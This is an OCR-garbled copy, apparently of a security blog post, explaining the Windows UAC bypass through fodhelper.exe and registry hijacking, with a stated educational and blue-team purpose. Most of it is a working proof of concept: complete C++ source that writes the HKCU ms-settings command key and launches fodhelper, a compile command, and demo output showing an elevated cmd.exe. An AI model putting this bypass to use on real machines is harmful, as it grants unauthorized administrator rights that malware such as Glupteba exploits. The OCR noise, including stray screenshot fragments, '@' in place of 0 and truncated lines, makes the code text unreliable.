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Malware AV/VM evasion - part 17: bypass UAC via fodhelper.exe.

Simple C++ example.

By cocomelonc
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Hello, cybersecurity enthusiasts and white hackers!

int main()
HKEY hkey;
DWORD d;

const char* settings = "Software\\Classes -settings\\Shell\\Open\\command";
const char* cmd = "cmd /c start C: Window win10-1903 (unmod-reg) [Running] - Oracle VM VirtualBox
const char* -del =

W,
i

Input Devices Help

LSTATUS stat RegCreateKeyEx (HKEY CURRENT
printf(stat ERROR_SUCCESS ? "failed to

stat = RegSetValueEx(hkey, "", 0, REG_SZ,
printf(stat != ERROR_SUCCESS ? "failed to

stat = RegSetValueEx(hkey, "DelegateExecut
printf(stat != ERROR SUCCESS ? "failed to

RegCloseKey(hkey) ;

SHELLEXECUTEINFO sei = { (sei) };
sei.lpVerb = "runas";

sei.lpFile "C:\\Windows\\System32\\fodhe
sei.hwnd = NULL;

sei.nShow = SW_NORMAL;

(!ShellExecuteEx(&sei)) {

DWORD err = GetLastError();

printf (err ERROR_CANCELLED ? "the us
hrelse~d

printf("successfully create process ="..

o ) _— -
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This post appeared as an intermediate result of one of my research projects in which I am going to bypass the
antivirus by depriving it of the right to scan, so this is the result of my own research on the first step, one of the

interesting UAC bypass trick: via foodhelper.exe with registry modification.
registry modificationPermalink

The process of modifying a registry key has as its end objective the rerouting of an elevated program’s execution
flow to a command that has been managed. The most common misuses of key values involve the manipulation of
windir and systemroot environment variables, as well as shell open commands for particular file extensions

(depending on the program that is being targeted):
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o HKCU\\Software\\Classes\<targeted_extension>\\shell\\open\command (Default or DelegateExecute
values)

e HKCU\\Environment\\windir

e HKCU\\Environment\\systemroot

fodhelper.exePermalink

fodhelper.exe was introduced in Windows 10 to manage optional features like region-specific keyboard

settings. It’s location is: C:\Windows\System32\fodhelper.exe and it is signed by Microsoft:

E¥ Administraton Windows PowerShell

odhelper.

Verifie
Signing d

ompany
cription:

When fodhelper.exe is started, process monitor begins capturing the process and discloses (among other things)
all registry and filesystem read/write operations. The read registry accesses are one of the most intriguing
activities, despite the fact that some specific keys or values are not discovered. Because we do not require special
permissions to modify entries, HKEY_CURRENT_USER registry keys are particularly useful for testing how a

program’s behavior may change after the creation of a new registry key.

fodhelper.exe , searches for HKCU:\Software\Classes\ms-settings\shell\open\command . This key does not
exist by default in Windows 10:

¥ fodhelpersxe  High & Reglpenkey  HKCUNSoftware\Classes'me-setfings'\Shel'Open‘command  NAME NOT FOUND  Desired Access: Guery Value
W fodhelperexe  High £ RegOpenkey  HKCUNSoftware\Classes'\ms-setlings’ Shel'Open'Command  MAME NOT FOUND  Desired Access: Maximum Alowed

¥ fodhelperexe  High #RegOpeniley  HKCUN\Software'\Classes'ms-setlings\Shel"\Open MNAME NOT FOUND  Desired Access: Maximum Allowed
W fodhelperexe  High & RegliveryValue  HKCR'ms-settings'\Shel\Open' Mulli Select Model NAME NOT FOUND  Length: 144
W fodhelperexe  High ﬂ:@F{egmeKey HKCUNSoftware \Olasses 'me-settings ShelhOpen NAME NOT FOUND  Desired Access: Masimum Allowesd

So, when malware launches fodhelper (as we know, a Windows binary that permits elevation without requiring
a UAC prompt) as a Medium integrity process, Windows automatically elevates fodhelper from a Medium to a
High integrity process. The High integrity fodhelper then tries to open a ms-settings file using the file’s
default handler. Since the malware with medium integrity has commandeered this handler, the elevated

fodhelper will execute an attack command as a process with high integrity.

practical examplePermalink
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So, let’s go to create PoC for this logic. First of all create registry key and set values - our registry modification

step:

HKEY hkey;
DWORD d;

const char* settings = "Software\\Classes\\ms-settings\\Shell\\Open\\command";
const char* cmd = "cmd /c start C:\\Windows\\System32\\cmd.exe"; // default program

const char* del = "";

// attempt to open the key
LSTATUS stat = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)settings, @, NULL, @, KEY_WRITE, NULL, &hkey, &d);
printf(stat != ERROR_SUCCESS ? "failed to open or create reg key\n" : "successfully create reg key\n");

// set the registry values
stat = RegSetValueEx(hkey, "", @, REG_SZ, (unsigned char*)cmd, strlen(cmd));
printf(stat != ERROR_SUCCESS ? "failed to set reg value\n" : "successfully set reg value\n");

stat = RegSetValueEx(hkey, "DelegateExecute", @, REG_SZ, (unsigned char*)del, strlen(del));
printf(stat != ERROR_SUCCESS ? "failed to set reg value: DelegateExecute\n" : "successfully set reg value: Dele

// close the key handle
RegCloseKey(hkey);

As you can see, just creates a new registry structure in: HKCU:\Software\Classes\ms-settings\ to perform UAC

bypass.

Then, start elevated app:

// start the fodhelper.exe program
SHELLEXECUTEINFO sei = { sizeof(sei) };
sei.lpVerb = "runas";
sei.lpFile = "C:\\Windows\\System32\\fodhelper.exe";
sei.hwnd = NULL;
sei.nShow = SW_NORMAL;

if (!ShellExecuteEx(&sei)) {
DWORD err = GetlLastError();

printf (err == ERROR_CANCELLED ? "the user refused to allow privileges elevation.\n" : "unexpected error! errc
} else {

printf("successfully create process =A..A=\n");
}
return 9;
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That’s all.

Full source code is looks like hack.c :

/*
* hack.c - bypass UAC via fodhelper.exe

* (registry modifications). C++ implementation

* @cocomelonc

* https://cocomelonc.github.io/malware/2023/06/19/malware-av-evasion-17.html
*/

#include <windows.h>

#include <stdio.h>

int main() {
HKEY hkey;
DWORD d;

const char* settings = "Software\\Classes\\ms-settings\\Shell\\Open\\command";
const char* cmd = "cmd /c start C:\\Windows\\System32\\cmd.exe"; // default program

const char* del = "";

// attempt to open the key
LSTATUS stat = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)settings, @, NULL, @, KEY_WRITE, NULL, &hkey, &d);
printf(stat != ERROR_SUCCESS ? "failed to open or create reg key\n" : "successfully create reg key\n");

// set the registry values
stat = RegSetValueEx(hkey, "", @, REG_SZ, (unsigned char*)cmd, strlen(cmd));
printf(stat != ERROR_SUCCESS ? "failed to set reg value\n" : "successfully set reg value\n");

stat = RegSetValueEx(hkey, "DelegateExecute", @, REG_SZ, (unsigned char*)del, strlen(del));
printf(stat != ERROR_SUCCESS ? "failed to set reg value: DelegateExecute\n" : "successfully set reg value: De’

// close the key handle
RegCloseKey(hkey);

// start the fodhelper.exe program

SHELLEXECUTEINFO sei = { sizeof(sei) };

sei.lpVerb = "runas";

sei.lpFile = "C:\\Windows\\System32\\fodhelper.exe";
sei.hwnd = NULL;

sei.nShow = SW_NORMAL;

if (!ShellExecuteEx(&sei)) {
DWORD err = GetlastError();

printf (err == ERROR_CANCELLED ? "the user refused to allow privileges elevation.\n" : "unexpected error! e
} else {
printf("successfully create process ="..A=\n");
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return 9;

demoPermalink

Let’s go to see everything in action. First, let’s check registry:

reg query "HKCU\Software\Classes\ms-settings\Shell\open\command"

B Windows PowerShell

1ell
Copyright ) Microsoft Corporation. All rights

Try the new cro

whoami fpriv

RIVILEGES INFOR

abled
Enabled
abled
working s
he time zone
19-malware-awv-

Compile our hack.c PoC in attacker’s machine:

x86_64-wb64-mingw32-g++ -02 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-se

) - [~/hacking/cybersec_blog/2023-06-19-malware-av-evasion-17]
g hack.c hack.exe

— ) - [~/hacking/cybersec_blog/2023-06-19-malware-av-evasion-17]
s 1s

total 44

-rwxr-xr-x 1 cocomelonc cocomelonc 40960 Jun 20 23:16 hack.exe

-rw-r--r-- 1 cocomelonc cocomelonc 1667 Jun 20 23:16 hack.c

Then, just run it in the victim’s machine ( Windows 10 x64 1903 in my case):
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i win10-1903 (unmod-reg) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

g >

Regycle Bin Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

*s Try the new cross-platform PowerShell https://aka.ms/pscoreé
E

PS5 C:\Users\user> cd .\Desktop\research\2823-86-19-malware-av-evasion-17\

PS C:\Users\user\Desktop\research\20823-06-19-malware-av-evasion-17> reg query
Firefox /s

ERROR: The system was unable to find the specified registry key or value.

PS C:\Users\user\Desktop\research\2823-@6-19-malware-av-evasion-17>

PS5 C:\Users\user\Desktop\research\2823-86-19-malware-av-evasion-17> .\hack.exe

successfully create reg key

successfully set reg walue

successfully set reg value: DelegateExecute

successfully create process =".."=

PS5 C:\Users\user\Desktop\research\2823-86-19-malware-av-evasion-

Administrator: C\Windows\System32\.cmd.exe
Microsoft Windows [Version 18.8.18362.38]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32:»_

11:07 PM D
6/20/2023

BOkS &HEE " T S8 Right Ctrl

2= | O Type here to search - ~ = G 9)

As you can see, cmd.exe is launched. Check registry structure again:

reg query "HKCU\Software\Classes\ms-settings\Shell\open\command"

P2 Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscoreé

PS C:\Usershuser> cd .\Desktop\research\2823-86-19-malware-av-evasion-17%

PS C:\Users\user\Desktop\research\2823-86-13-malware-av-evasion-17> reg query
/s

ERROR: The system was unable to find the specified registry key or value.

PS C:\Users\user\Desktop\research\2@23-@6-19-malware-av-evasion-17>

PS C:\Users\user\Desktop\research\2823-86-193-malware-av-evasion-17> .\hack.exe

successfully create reg key

successfully set reg value

successfully set reg value: DelegateExecute

successfully create process =*,."=

PS5 C:\Usershuser\Desktop'research\2823-86-19-malware-av-evasion-17> reg query
/s

HKEY_CURRENT_USER\Software\Classes\ms-settingsiShell\Open\command
(Default) REG_ST cmd Jc start C:\Windows\System32%cmd.exe
LN DelegateExecute REG_5Z

3PS C:\Users\user\Desktop\research\2@23-86-19-malware-av-evasion-17>

Page 6 of 11




https://cocomelonc.github.io/malware/2023/06 /19 /malware-av-evasion-17.html

As you can see, the registry has been successfully modified.

Check privileges in our launched cmd.exe session:

32emd.exe

Then, run Process Hacker with Administrator privileges:
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win1l0-1903 (unmod-reg) [Running] - Oracle VM VirtualBox

Input Devices Help

+t Corporation.

Apps Documents g More » Feedback
Best match

Security processor

o |
w System settings ‘ '

ProcessHacker.exe .

Securi rocessor
Desktop app ty P

Ly Run as administrator
EEthings [0 Open file location

View processor info 7 L Open

Automatically process video to
enhance it
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troubleshooting

Search suggestions

pel process - See web results
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Documents (1+)
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1112 PM
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and check properties of our cmd.exe
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win10-1903 (unmed-reg) [Running] - Oracle VM VirtualBex

File Machine Input Devices Help

Hacker B cmd.exe (2812) Properties
7 Refresh {3 Options | )

Processes MNetwork [

View Tools Users

Handles GPU
Performance

Disk and MNetwork
Token Modules

Environment Comment

Services General Statistics Threads Memory

MName
User: WIN10-1903\user
User S5ID:  5-1-5-21-2239736274-681431800-882565256-1000

Session: 1 Elevated: Yes Virtuglized: Mot allowed

[:] SecurityHealthSen
[55] svchost.exe

[%] svchost.exe
[ SgrmBroker.exe
[#5] svchost.exe
[#] svchost.exe
[#] svchost.exe
[#5] swchost.exe
[#5] suchost.exe
[#5 Isass.exe
[ fontdrvhost.exe
[ csrss.exe
winlogon.exe
[ fontdrvhost.exe
[ dwm.exe
¥ 1 explorerexe
Q; SecurityHealthSystray,

App container SID:  NfA

Name

BUILTIN'Administrators

BUILTINYUsers

COMSOLE LOGON

Everyone

LOCAL

Mandatory Label'High Mandatory Level

Flags
Mandatory (default enabl...
Mandatory {(default enabl...
Mandatory {default enabl...
Mandatory (default enabl...
Mandatory {default enabl...
Integrity

=

Status

Disabled
Default Enabled
Default Enabled
Disabled

Name

SeBackupPrivilege
SeChangeMotifyPrivilege
SeCreateGlobalPriviege
SeCreatePagefilePriviege
SeCreateSymbolicLinkPriviege Disabled

Description

Back up files and directories
Bypass traverse checking
Create global objects
Create a pagefile

Create symbalic links

Debug programs
Obtain an impersonation tok...
Impersonate a dient after au...

SeDebugPriviege Disabled
SeDelegateSessionUserlmpersonatePriviege Disabled
SelmpersonatePriviege Default Enabled

W VBoxTray.exe
@ OneDrive.exe
~ M powershell.exe

BH conhost.exe To view capabiities, daims and other attributes, dick Advanced.
~ B8 cmd.exe

@ conhost.exe

Integrity Advanced

Close

CPU Usage: 7.10%  Physical me|

[CH]
W 2T | 6 B Right Ctrl
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D3hwser]+ (Administrator = |
Bl cmd.exe (2312) Properties — O >
+ I
B Environment Handles GPU Dizk and Metwork Comment ] P
_[ General Statistics Performance Threads Token Modules Memory
~
File
L ol VVindows Command Processor Senv...
{(Verified) Microsoft Windows 5 SE...
Version: 10.0.18362.1 = SEr.
it...
Image file name: D;'
& Ser...
| C:\Windows\System32'ond. exe | L i
& Ser.
5 Ser..,
Process I
£ SEr...
Command line: | Cr\Windows\System324cmnd. exe | b g
& Ser...
Current directory: | Ci\Windows\system32Y, | FOCE,..
Started: | 5 minutes and 33 seconds ago (11:07:30 PM 6/20/2023) | F
ICEss
PEE address: | Oxe4005cf000 | Image type: &4-hit B,
Parent: | Mon-existent process (4004) | st
Mitigation policies: | DEF (permanent); ASLR (high entropy); CF Guard | Details |
ay Protection: Mone Terminate tion...
& Tra...
I W
Close
m

As you can see, everything is worked perfectly! =A..A=

Glupteba malware leveraging this method to first elevate from a Medium to High integrity process, then from

High to System integrity via Token Manipulation.

I hope this post spreads awareness to the blue teamers of this interesting bypass technique, and adds a weapon to

the red teamers arsenal.

MITRE ATT&CK: Modify registry
Glupteba

source code in github
This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!

PS. All drawings and screenshots are mine
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